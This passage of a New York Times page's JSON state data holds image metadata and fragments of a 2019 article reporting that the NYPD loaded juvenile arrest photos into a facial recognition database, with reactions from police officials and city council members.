i-watkinsauthor-ali-watkins-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoFifteenBySeven1305.png","name":"videoFifteenBySeven1305","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock":{"timestamp":"2019-08-01T17:15:31.000Z","align":"LEFT","__typename":"TimestampBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0":{"__typename":"TextInline","text":"[What you need to know to start the day: ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1":{"__typename":"TextInline","text":"Get New York Today in your inbox","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0","typename":"ItalicFormat"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002Fnewsletters\u002Fnewyorktoday?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2":{"__typename":"TextInline","text":".]","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0":{"__typename":"TextInline","text":"The New York Police Department has been loading ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1":{"__typename":"TextInline","text":"thousands of arrest photos of children and teenagers","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2":{"__typename":"TextInline","text":" into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0":{"__typename":"TextInline","text":"For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1":{"__typename":"TextInline","text":"shots","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2":{"__typename":"TextInline","text":", the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6.content.0":{"__typename":"TextInline","text":"Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8.content.0":{"__typename":"TextInline","text":"Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.0":{"__typename":"TextInline","text":"Police ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.1":{"__typename":"TextInline","text":"Department officials defended the decision, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.2":{"__typename":"TextInline","text":"saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12.content.0":{"__typename":"TextInline","text":"“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.0":{"__typename":"TextInline","text":"Other cities have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1":{"__typename":"TextInline","text":"San Francisco blocked city agencies, including the police","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F05\u002F14\u002Fus\u002Ffacial-recognition-ban-san-francisco.html?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.2":{"__typename":"TextInline","text":", from using the tool amid unease about potential government ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.3":{"__typename":"TextInline","text":"abuse","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.4":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5":{"__typename":"TextInline","text":"Detroit is facing public resistance to a technology ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F07\u002F08\u002Fus\u002Fdetroit-facial-recognition-cameras.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.6":{"__typename":"TextInline","text":"that has been shown to have lower accuracy with people with darker skin. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.0":{"__typename":"TextInline","text":"In New York, the state Education Department recently told the Lockport, N.Y., ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.1":{"__typename":"TextInline","text":"school district to delay a plan to use facial recognition on students, citing privacy concerns. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.0":{"__typename":"TextInline","text":"“At the end ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.1":{"__typename":"TextInline","text":"of the day, it should be banned — no young people,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.2":{"__typename":"TextInline","text":"Councilman Donovan Richards","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.3":{"__typename":"TextInline","text":", a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.0":{"__typename":"TextInline","text":"The department said its legal bureau had approved using facial recognition on juveniles. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1":{"__typename":"TextInline","text":"The algorithm may suggest a lead, but detectives would not make an arrest based solely on ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2":{"__typename":"TextInline","text":"that","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.3":{"__typename":"TextInline","text":", Chief Shea said.","formats":[]},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles2.html","uri":"nyt:\u002F\u002Fimage\u002F5a694c3e-2066-51a1-965d-4be8779badef","credit":"Chang W. Lee\u002FThe New York Times","legacyHtmlCaption":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","name":"articleLarge","width":600,"height":400,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","name":"popup","width":650,"height":433,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","name":"jumbo","width":1024,"height":683,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jp